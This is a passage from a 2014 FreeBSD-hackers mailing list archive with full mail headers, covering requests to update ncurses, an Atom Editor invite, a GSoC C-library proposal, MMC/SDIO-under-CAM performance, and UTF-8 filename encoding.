SVS2gWpTFM8TUwHaHAbNwfOWyLSid2de2Ri4qmb4fyUT4R6lDfZmjt0grQodTmePHDGL 78YRShJ9WQg7kKziFDp6u752LcDmJyKxr4tudadFD9hniz50GvZgiv7bsP2hRIFE+MiA 56K84+4KStNz55pF+GHr2vgvoef9j9kPwMwkG191xA+Wg7RoHJxyuJH1rLuD2B5P209w xYBYxUOzJtUDTaLslxrvbY2JFsI3/D+2PWV4ZKi1G2ljJuzpNx1khp0+GOU6bPqVG0/h lMWQ== MIME-Version: 1.0 X-Received: by 10.58.190.99 with SMTP id gp3mr2717728vec.32.1393535391041; Thu, 27 Feb 2014 13:09:51 -0800 (PST) Received: by 10.220.86.65 with HTTP; Thu, 27 Feb 2014 13:09:51 -0800 (PST) Date: Thu, 27 Feb 2014 16:09:51 -0500 Message-ID: Subject: Please update ncurses in base From: Zhihao Yuan To: FreeBSD Hackers Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Feb 2014 21:09:52 -0000 libncurses in base handles wide characters inconsistently and behaves completely broken under some locales (zh_CN.GB2312, zh_CN.GBK, ko_KR.CP949). Those bugs are fixed in 20081129 and the unctrl (which usually mis-escape wide characters) have been rework by the end of 2009. The ncurses 5.9 in ports works much better then the one in base, and is actively fixing bugs on BSDs, why not import this library? -- Zhihao Yuan, ID lichray The best way to predict the future is to invent it. ___________________________________________________ 4BSD -- http://4bsd.biz/ From owner-freebsd-hackers@FreeBSD.ORG Fri Feb 28 03:06:53 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8A485F6D; Fri, 28 Feb 2014 03:06:53 +0000 (UTC) Received: from mail-vc0-x243.google.com (mail-vc0-x243.google.com [IPv6:2607:f8b0:400c:c03::243]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 30D8315EA; Fri, 28 Feb 2014 03:06:53 +0000 (UTC) Received: by mail-vc0-f195.google.com with SMTP id le5so48992vcb.2 for ; Thu, 27 Feb 2014 19:06:51 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=/UQKdVW7yYBoivB7JlAdqzTAIYZ5sUiTcQlLtcVmG/0=; b=GvOvA+CQVMePkQIQPOLQ+/LLwFWHnQLhz3qAgTLH5cfqPI/DqP6TolT4Xgmu1a3GGR tTzHX9pji264W7iBlDyjh8qHvVRZNycTnI9hDV1aguZE9bs/QaApbMbTAwuvQ7IW+hZ8 MjmJDsKo40Enw9bVS5GhGt1J5/R/CwGo4jt1rxBEucPCIWgSa2vlMVL8h2StN17KP3Nm SG/qWKK6x1wuk22+xrrTLdCEN+7tEbXWHZENZK7N/i0rYj5SXt3Fv3a4rCYKaEXacAOA yQ2pYfZpcMpMj7LRDxW02bcyG7kiO1ggGz4kyvEtNG+pmcDxpAiFiGefNFAUtp0A6a+F C6dA== MIME-Version: 1.0 X-Received: by 10.58.255.233 with SMTP id at9mr401116ved.20.1393556811847; Thu, 27 Feb 2014 19:06:51 -0800 (PST) Received: by 10.58.169.113 with HTTP; Thu, 27 Feb 2014 19:06:51 -0800 (PST) Date: Fri, 28 Feb 2014 11:06:51 +0800 Message-ID: Subject: Anyone interested in Atom Editor? From: =?UTF-8?B?5pyx5rGf?= To: freebsd-hackers , freebsd-stable Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Feb 2014 03:06:53 -0000 Hi guys, I have one invite for Atom Editor , is there anyone interested in Atom Editor and need my invitation? If you need this invitation, please let me know your e-mail. BTW, when you successfully be invited, you got 3 invites. I hope who get my invite should invite other people who need invitation as well. Best regards, -- Jiang Zhu mail.jiang.cn@gmail.com From owner-freebsd-hackers@FreeBSD.ORG Fri Feb 28 04:09:49 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 68754D96; Fri, 28 Feb 2014 04:09:49 +0000 (UTC) Received: from mail-vc0-x230.google.com (mail-vc0-x230.google.com [IPv6:2607:f8b0:400c:c03::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 1078B1A5E; Fri, 28 Feb 2014 04:09:48 +0000 (UTC) Received: by mail-vc0-f176.google.com with SMTP id la4so180841vcb.35 for ; Thu, 27 Feb 2014 20:09:47 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=FNYi/HoZv0tI+7G79eaGFfKUR39bzwjlkn5FmYDcEes=; b=H/8JN6Vvmch1qFnt5DC+wBhX9BkF/Ry8zjAz8Q22lnslbN9yj02ToeVtiltmxGjMPH J8H/0kKxcPeyIveZP3J2haI/EM+avsulAIoDLr8Kj8zSpc9pN8zyP+kIa5L+tgIW4S3P Eya1QDFQUFV50RrD/FmvpHsiev/1HL9NAz/R3RGreb2BDmkS4tLiL9XY9eO7q9yxNwhC yneDgXqljr75kBJ6/u112npHqjjGo/KNgs0bK45dTruGkBMPHyhQr12ntm1xEPKL9wun uV16wozq+08alO9j53KdDDsZL76YIl/j+6PbLe+IIuGboUxbxPnj8OhozGpbrCaR9FrH mCLQ== MIME-Version: 1.0 X-Received: by 10.58.187.161 with SMTP id ft1mr72755vec.54.1393560587589; Thu, 27 Feb 2014 20:09:47 -0800 (PST) Received: by 10.58.169.113 with HTTP; Thu, 27 Feb 2014 20:09:47 -0800 (PST) In-Reply-To: References: Date: Fri, 28 Feb 2014 12:09:47 +0800 Message-ID: Subject: Re: Anyone interested in Atom Editor? From: =?UTF-8?B?5pyx5rGf?= To: freebsd-hackers , freebsd-stable Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Feb 2014 04:09:49 -0000 2014-02-28 11:06 GMT+08:00 =E6=9C=B1=E6=B1=9F : > > Hi guys, > > I have one invite for Atom Editor , is there anyone > interested in Atom Editor and need my invitation? If you need this > invitation, please let me know your e-mail. > > BTW, when you successfully be invited, you got 3 invites. I hope who get > my invite should invite other people who need invitation as well. > > Best regards, > -- > Jiang Zhu > mail.jiang.cn@gmail.com > Hi guys, My invitation have sent to Chad Milios@ccsys.com, maybe you can ask Chad to share with you. Best regards, --=20 Jiang Zhu mail.jiang.cn@gmail.com From owner-freebsd-hackers@FreeBSD.ORG Fri Feb 28 18:51:41 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DCA3A799 for ; Fri, 28 Feb 2014 18:51:41 +0000 (UTC) Received: from plane.gmane.org (plane.gmane.org [80.91.229.3]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 979701A88 for ; Fri, 28 Feb 2014 18:51:41 +0000 (UTC) Received: from list by plane.gmane.org with local (Exim 4.69) (envelope-from ) id 1WJSWz-0003hV-J5 for freebsd-hackers@freebsd.org; Fri, 28 Feb 2014 19:51:33 +0100 Received: from tempe0.bbox.io ([24.249.180.233]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 28 Feb 2014 19:51:33 +0100 Received: from kevin.bowling by tempe0.bbox.io with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 28 Feb 2014 19:51:33 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-hackers@freebsd.org From: Kevin Bowling Subject: Re: GSoC proposal: Quirinus C library (qc) Date: Fri, 28 Feb 2014 11:51:20 -0700 Lines: 26 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: tempe0.bbox.io User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Thunderbird/27.0 In-Reply-To: X-Mailman-Approved-At: Fri, 28 Feb 2014 18:56:27 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Feb 2014 18:51:41 -0000 On 2/25/2014 1:24 AM, Dmitry Selyutin wrote: > Hello everyone! > > My name is Dmitry, I'm 22 years old student from Lomonosov Moscow State > University of Russia. This message is addressed mainly to C connoiseurs, > yet I think other people may find it interesting. It's a GSoC proposal. > It's a pity that for language like C we generally don't have something > universal like Boost, so we have to implement some common functions from > scratch or introduce new dependencies. We have Glib, which is used mainly > by Gnome developers (though it is a standalone library) and LGPL-ed, which > is not as liberal as Boost's license. We also have APR, which seems to be a > bit more comprehensive and convenient, yet it is not so well-known as Glib. > I'm in process of implementing a something like Boost for ANSI C (though I > don't pretend this library to share Boost's comprehensiveness). Several > ideas I find useful are: Depending on what kind of development you are doing, either of these make a decent foundation library: * http://facebook.github.io/libphenom/ * https://github.com/joyent/libuv You may want to pick and use one wholesale for any I/O pieces. Regards, Kevin From owner-freebsd-hackers@FreeBSD.ORG Fri Feb 28 19:20:39 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E9E54444 for ; Fri, 28 Feb 2014 19:20:39 +0000 (UTC) Received: from mail.iXsystems.com (newknight.ixsystems.com [206.40.55.70]) (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id B72021CA5 for ; Fri, 28 Feb 2014 19:20:39 +0000 (UTC) Received: from localhost (mail.ixsystems.com [10.2.55.1]) by mail.iXsystems.com (Postfix) with ESMTP id 9DB5E70A6A; Fri, 28 Feb 2014 11:20:38 -0800 (PST) Received: from mail.iXsystems.com ([10.2.55.1]) by localhost (mail.ixsystems.com [10.2.55.1]) (maiad, port 10024) with ESMTP id 25400-01-6; Fri, 28 Feb 2014 11:20:38 -0800 (PST) Received: from [10.8.0.6] (unknown [10.8.0.6]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mail.iXsystems.com (Postfix) with ESMTPSA id 8B4D870A25; Fri, 28 Feb 2014 11:20:17 -0800 (PST) Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: GSoC proposal: Quirinus C library (qc) From: Jordan Hubbard In-Reply-To: Date: Fri, 28 Feb 2014 11:20:37 -0800 Content-Transfer-Encoding: quoted-printable Message-Id: <0AF609C2-A90D-4BFD-8281-A52FB0797A79@mail.turbofuzz.com> References: To: Kevin Bowling X-Mailer: Apple Mail (2.1874) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Feb 2014 19:20:40 -0000 It used to be true that you weren't a "Real Programmer=99" until you'd = written your own screen editor. I guess now it's true that you're not one until you've written your own = async event dispatching and data serialization library. ;-) - Jordan On Feb 28, 2014, at 10:51 AM, Kevin Bowling = wrote: > Depending on what kind of development you are doing, either of these = make a decent foundation library: >=20 > * http://facebook.github.io/libphenom/ > * https://github.com/joyent/libuv From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 1 16:46:40 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 79645D0F; Sat, 1 Mar 2014 16:46:40 +0000 (UTC) Received: from olymp.kibab.com (olymp6.kibab.com [IPv6:2a01:4f8:160:84c1::2]) by mx1.freebsd.org (Postfix) with ESMTP id 06DA7197F; Sat, 1 Mar 2014 16:46:39 +0000 (UTC) DKIM-Filter: OpenDKIM Filter v2.8.3 olymp.kibab.com 79A1F3F447 DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=bakulin.de; s=default; t=1393692398; bh=d+8GHcINLy78fyewYr4+BaecZQM39xZyj6/tH5aoXfs=; h=Date:From:To:CC:Subject:References:In-Reply-To; b=gP/mFgu2B0Dtddl6tkVvXgg3cDBDp3K8L7xPeD4wzXRmGFNmKD8jg98LfIjEWn0Bk isPtKWOkPic3MDZPCoYm7LyH23TG8ec/kNYEd7gDsGsfZscvauTR5Z4Y65R12FIYkx OicOG/i3ATEifhR0AvXj/k3vdu9ZeX1Gb5hBcVPs= Message-ID: <53120EE8.1080600@bakulin.de> Date: Sat, 01 Mar 2014 17:46:32 +0100 From: Ilya Bakulin MIME-Version: 1.0 To: Adrian Chadd Subject: Re: MMC/SDIO stack under CAM References: <20140216111153.GA74858@olymp.kibab.com> <5C2CF572-360D-4CA0-81C7-18A5C455AED5@bsdimp.com> <20140224142642.GA32538@olymp.kibab.com> In-Reply-To: Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="IRvQfdUsQjJjJ6fSiATBTXIHeO5t1kqLE" Cc: "freebsd-hackers@freebsd.org" , Alexander Motin , "freebsd-arm@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 01 Mar 2014 16:46:40 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --IRvQfdUsQjJjJ6fSiATBTXIHeO5t1kqLE Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Hi Adrian, On 24.02.14, 16:59, Adrian Chadd wrote: > hi, >=20 > Let me just reiterate some .. well, experience doing this stuff at QCA.= >=20 > You really, absolutely don't want too much overhead in the MMC/SDIO > path between whatever is issuing things and the network driver. >=20 > There was significant performance work done at QCA on a local MMC/SDIO > driver and bus to get extremely low latency and CPU utilisation when > pushing around small transactions. The current CAM locking model is > not geared towards getting to high transaction rates. So here you mean some work done on Linux MMC/SDIO stack by QCA which made it far better than current Linux MMC stack in terms of high SDIO I/O rates? >=20 > You may think this is a very architecturally pretty solution and it > indeed may be. But if it doesn't perform as well as the existing local > hacks that vendors have done, no company deploying this hardware is > going to want to use it. They'll end up realising there's this massive > CAM storage layer in between and either have to sit down to rip it up > and replace it with something lightweight, or they'll say "screw it" > and go back to the vendor supplied hacked up Linux solution. I think that if the "architecturally pretty solution" behaves worse than some ugly hacks, then it may be not so pretty or the architecture is just broken by design. > So I highly recommend you profile things - and profile things with > lots of small transactions. If the CAM overhead is more than a tiny, > tiny fraction of CPU at 25,000 pps, your solution won't scale. :-) I don't really know what to compare with. For MMC/SD cards it is pretty obvious, but then these cards will be likely the bottleneck, not the stac= k. And the only goal would be to not make the stack slower than it is now. But, as ATA devices are much faster than MMC/SD, I don't think this will be a problem. For SDIO things are different. But we don't have any drivers (yet), excep= t mv_sdiowl that I'm writing, to test on. So I have to bring the SDIO stack on CAM, than bring mv_sdiowl to the state when it can actually transmit the data, and then compare performance with the vendor-supplied Linux driver. We'll see then if there is a room for improvement... --=20 Regards, Ilya Bakulin --IRvQfdUsQjJjJ6fSiATBTXIHeO5t1kqLE Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.19 (Darwin) Comment: GPGTools - http://gpgtools.org iEYEARECAAYFAlMSDusACgkQo9vlj1oadwjzzQCeMSzl4e8wUqCK4s3kgBZpr1U8 JD8Anjz2mbLF4XVpGfCHDTIu5AlaKseg =JJfS -----END PGP SIGNATURE----- --IRvQfdUsQjJjJ6fSiATBTXIHeO5t1kqLE-- From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 1 17:05:16 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6D1855E0; Sat, 1 Mar 2014 17:05:16 +0000 (UTC) Received: from mail-qc0-x22e.google.com (mail-qc0-x22e.google.com [IPv6:2607:f8b0:400d:c01::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 0364B1AEA; Sat, 1 Mar 2014 17:05:15 +0000 (UTC) Received: by mail-qc0-f174.google.com with SMTP id x13so2105689qcv.5 for ; Sat, 01 Mar 2014 09:05:15 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=UKD0jDEu5cCttp1btYnIRgYeaCfAhV3PII+xMt9Vajw=; b=0+LLqBlPljOV5KRGRUEaKssstXfQ7Bt26m9YbiATlk5zUxAR6Bw1qmF3fgXn8lKZ0v 2BUYvlaPufyvZH8BPfGmdZfKh9RkvvC4jdCe35Bp+19pxCODhjWuvaCr2GmvXFzPXcDj brPEdAIcOrGy/Qt3dECD8Ih1QC3JpFbrbDzM5ao2PxzqloI/+dRWAvZBOaTUF8TjFKpe YtsbZyDIpbmYBqblPV37BqHOt4IzBUp1t/edb/PZu7c9ELZNu0wTAzDI52zDEt4P57aL OR1324CS9vR57VEvl98q6+3GD8JUPuPOIOvv9TTwBqmYX3ljFujUNh8ieO5JJnjad39A 0EZw== MIME-Version: 1.0 X-Received: by 10.140.42.54 with SMTP id b51mr11420271qga.87.1393693515192; Sat, 01 Mar 2014 09:05:15 -0800 (PST) Received: by 10.224.16.10 with HTTP; Sat, 1 Mar 2014 09:05:15 -0800 (PST) In-Reply-To: <53120EE8.1080600@bakulin.de> References: <20140216111153.GA74858@olymp.kibab.com> <5C2CF572-360D-4CA0-81C7-18A5C455AED5@bsdimp.com> <20140224142642.GA32538@olymp.kibab.com> <53120EE8.1080600@bakulin.de> Date: Sat, 1 Mar 2014 09:05:15 -0800 Message-ID: Subject: Re: MMC/SDIO stack under CAM From: Adrian Chadd To: Ilya Bakulin Content-Type: text/plain; charset=ISO-8859-1 X-Mailman-Approved-At: Sat, 01 Mar 2014 17:19:33 +0000 Cc: "freebsd-hackers@freebsd.org" , Alexander Motin , "freebsd-arm@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 01 Mar 2014 17:05:16 -0000 On 1 March 2014 08:46, Ilya Bakulin wrote: > Hi Adrian, > > On 24.02.14, 16:59, Adrian Chadd wrote: >> hi, >> >> Let me just reiterate some .. well, experience doing this stuff at QCA. >> >> You really, absolutely don't want too much overhead in the MMC/SDIO >> path between whatever is issuing things and the network driver. >> >> There was significant performance work done at QCA on a local MMC/SDIO >> driver and bus to get extremely low latency and CPU utilisation when >> pushing around small transactions. The current CAM locking model is >> not geared towards getting to high transaction rates. > > So here you mean some work done on Linux MMC/SDIO stack by QCA > which made it far better than current Linux MMC stack in terms of > high SDIO I/O rates? Yup. The stock MMC stack/driver in Linux wasn't "fast" enough at small transactions to sustain the wifi speeds customers required. >> >> You may think this is a very architecturally pretty solution and it >> indeed may be. But if it doesn't perform as well as the existing local >> hacks that vendors have done, no company deploying this hardware is >> going to want to use it. They'll end up realising there's this massive >> CAM storage layer in between and either have to sit down to rip it up >> and replace it with something lightweight, or they'll say "screw it" >> and go back to the vendor supplied hacked up Linux solution. > > I think that if the "architecturally pretty solution" behaves worse than > some ugly hacks, then it may be not so pretty or the architecture is > just broken > by design. > >> So I highly recommend you profile things - and profile things with >> lots of small transactions. If the CAM overhead is more than a tiny, >> tiny fraction of CPU at 25,000 pps, your solution won't scale. :-) > > I don't really know what to compare with. For MMC/SD cards it is pretty > obvious, but then these cards will be likely the bottleneck, not the stack. > And the only goal would be to not make the stack slower than it is now. > But, as ATA devices are much faster than MMC/SD, I don't think this will > be a problem. > > For SDIO things are different. But we don't have any drivers (yet), except > mv_sdiowl that I'm writing, to test on. So I have to bring the SDIO > stack on CAM, > than bring mv_sdiowl to the state when it can actually transmit the > data, and then > compare performance with the vendor-supplied Linux driver. > We'll see then if there is a room for improvement... That sounds like a plan. Just note that although storage looks like it's doing much more throughput, the IO size also matters. As I said above, it's not uncommon to have > 1000 receive frames a second on 802.11n; and that can peak much higher than that. That's not the kind of IO rate you see on SD cards. :-) -a From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 2 10:10:18 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 61AD8659; Sun, 2 Mar 2014 10:10:18 +0000 (UTC) Received: from mail-we0-x230.google.com (mail-we0-x230.google.com [IPv6:2a00:1450:400c:c03::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id C08FB14FA; Sun, 2 Mar 2014 10:10:17 +0000 (UTC) Received: by mail-we0-f176.google.com with SMTP id x48so2008747wes.35 for ; Sun, 02 Mar 2014 02:10:16 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:in-reply-to:references:date:message-id :subject:from:to:cc:content-type; bh=jcns0OZTJP88CQN6LXGMa+uHSfWhzkOXYY9t4kM7h+E=; b=B+ylk7pXx9RAKKe4D6QajtjTmBFpzVvklJxHdHd6r2uT6y0+zKf5iZwzkyZtI7O6RY xPMaWDtSU2ZJQ3fs3TmIHxxJDC6GedQMgvdqzUcOv3G0xfAeTMtWTBTSb8DIX/+biMFs ELiK5Y9xcp4U4s7RaL1/Weafhe7hwyNWcqV3dx1kdQp2wfZ2BXRCvI28O7kBYxydCv5M CIXOHAa/ewFhxYK+K67/Q9Q425m89h5PLqb/DjCYQ+TVUQ4sX0z0Y83bGkNM5nbBQQ6v DFlai3tcfgHt91qcGgTYWmTJBrZg8v8uGckoAWr8MN3oLK4W4l78PMKYUb0qNfME8eNB IH9w== MIME-Version: 1.0 X-Received: by 10.180.37.162 with SMTP id z2mr9649575wij.51.1393755016128; Sun, 02 Mar 2014 02:10:16 -0800 (PST) Received: by 10.194.206.68 with HTTP; Sun, 2 Mar 2014 02:10:16 -0800 (PST) Received: by 10.194.206.68 with HTTP; Sun, 2 Mar 2014 02:10:16 -0800 (PST) In-Reply-To: <5A166BC2-D34A-473C-BEFA-9E04760A0AAB@FreeBSD.org> References: <20140227182641.GE47921@funkthat.com> <5A166BC2-D34A-473C-BEFA-9E04760A0AAB@FreeBSD.org> Date: Sun, 2 Mar 2014 14:10:16 +0400 Message-ID: Subject: Re: GSoC proposal: Quirinus C library (qc) From: Dmitry Selyutin To: =?UTF-8?Q?Edward_Tomasz_Napiera=C5=82a?= Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: Jordan Hubbard , John-Mark Gurney , hackers@freebsd.org, =?UTF-8?Q?Fernando_Apestegu=C3=ADa?= , =?UTF-8?B?Pz91a2FzeiBXw7NqY2lr?= , ghostmansd@gmail.com X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: ghostmansd@gmail.com List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 02 Mar 2014 10:10:18 -0000 Hi Edward, there is no such thing as different UTF-8 encodings. If you talk about e.g. accents and diacritics representation, actually there are normalization forms which apply to UCS points rather than to UTF-8 byte sequences. If you mean the fact that the same UCS-4 code point can be represented as different byte sequence, only the shortest form is permitted. Honestly I think that UTF-8 is the only encoding that has right to live. Other encodings seem to die or to be dead already. =D0=A1 =D1=83=D0=B2=D0=B0=D0=B6=D0=B5=D0=BD=D0=B8=D0=B5=D0=BC, =D0=94=D0=BC=D0=B8=D1=82=D1=80=D0=B8=D0=B9 =D0=A1=D0=B5=D0=BB=D1=8E=D1=82= =D0=B8=D0=BD 02.03.2014 13:54 =D0=BF=D0=BE=D0=BB=D1=8C=D0=B7=D0=BE=D0=B2=D0=B0=D1=82=D0= =B5=D0=BB=D1=8C "Edward Tomasz Napiera=C5=82a" =D0=BD=D0=B0=D0=BF=D0=B8=D1=81=D0=B0=D0=BB: > Wiadomo=C5=9B=C4=87 napisana przez John-Mark Gurney w dniu 27 lut 2014, o= godz. > 19:26: > > Dmitry Selyutin wrote this message on Thu, Feb 27, 2014 at 19:39 +0400: > >> As for strings, I will not use UTF-16 since it provides more problems > >> rather than solutions. If I provide a function which accepts char* or > char > >> const* argument, I imply that such function uses only ASCII (may be I > will > >> change ASCII to UTF-8). Encoding is used only if a user has requested = it > >> explicitly; the only place where I have made exception is system path > since > >> path requires to be in UTF-16 on Windows. That is the reason why qc_pa= th > >> requires qc_codecs-related functions. > > > > You do realize that FreeBSD does not enforce any coding on path names > > current, correct? So, requiring a coding format on FreeBSD (UTF-16) > > will mean some paths may not be accessible, since I assume you conver > > the UTF-16 string to UTF-8 before opening on FreeBSD... > > > > Hmm.. maybe it's time for a sysctl you can set on your system that > > only allows you to create UTF-8 valid names to allow people to slowly > > migrate to UTF-8? and a tool to report/convert old non-UTF-8 paths? > > There's already a ZFS property ("utfmode") exactly for this purpose. > > Actually, its funnier than that: because the kernel doesn't know anything > about UTF-8, one can create several files with the same name, but with > different UTF-8 encodings. And there is ZFS property to fix this problem > as well ("normalization"). > > From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 2 09:54:15 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C31A2D77 for ; Sun, 2 Mar 2014 09:54:15 +0000 (UTC) Received: from mail-ee0-x22d.google.com (mail-ee0-x22d.google.com [IPv6:2a00:1450:4013:c00::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 543E61200 for ; Sun, 2 Mar 2014 09:54:15 +0000 (UTC) Received: by mail-ee0-f45.google.com with SMTP id d17so3248771eek.18 for ; Sun, 02 Mar 2014 01:54:13 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=GuTAGOFGpuL9dSKGGthrIbFroRA2PqJ5/ElSUjJuDjE=; b=zV/zt8R00/HuWKZGlvBzaxyEdvbsJOyBQAhDAaFEmgn87esC/UbBVKqvyYKvWcjNux SDHP3RcQUcahyyY4Kb8TWFMfKiTOEB05zuMEgNlpL3yN2+H7S5aiLgckdg2zoh0Rt5hp ekmN+qD88OGVb+VIw9c7Z55TVKFACSbpJhsZcrHvuDChhSghy+8qZFebF5YwdlIVSEgf Gl2iPejlP5IR1iMOkiwNvLCPLXRIOHjA6bEEI4S1l7FWSUKfR4SASg/bq147wzzYxrb0 Qwd6slX6kM3Nox7vI62tXg0xTFoNbt++RlGgBgcPZpUbX4Ql6ohDyuQyQy/lie0F47aY BN5A== X-Received: by 10.15.65.68 with SMTP id p44mr31981425eex.63.1393754053288; Sun, 02 Mar 2014 01:54:13 -0800 (PST) Received: from strashydlo.home (adha144.neoplus.adsl.tpnet.pl. [79.184.156.144]) by mx.google.com 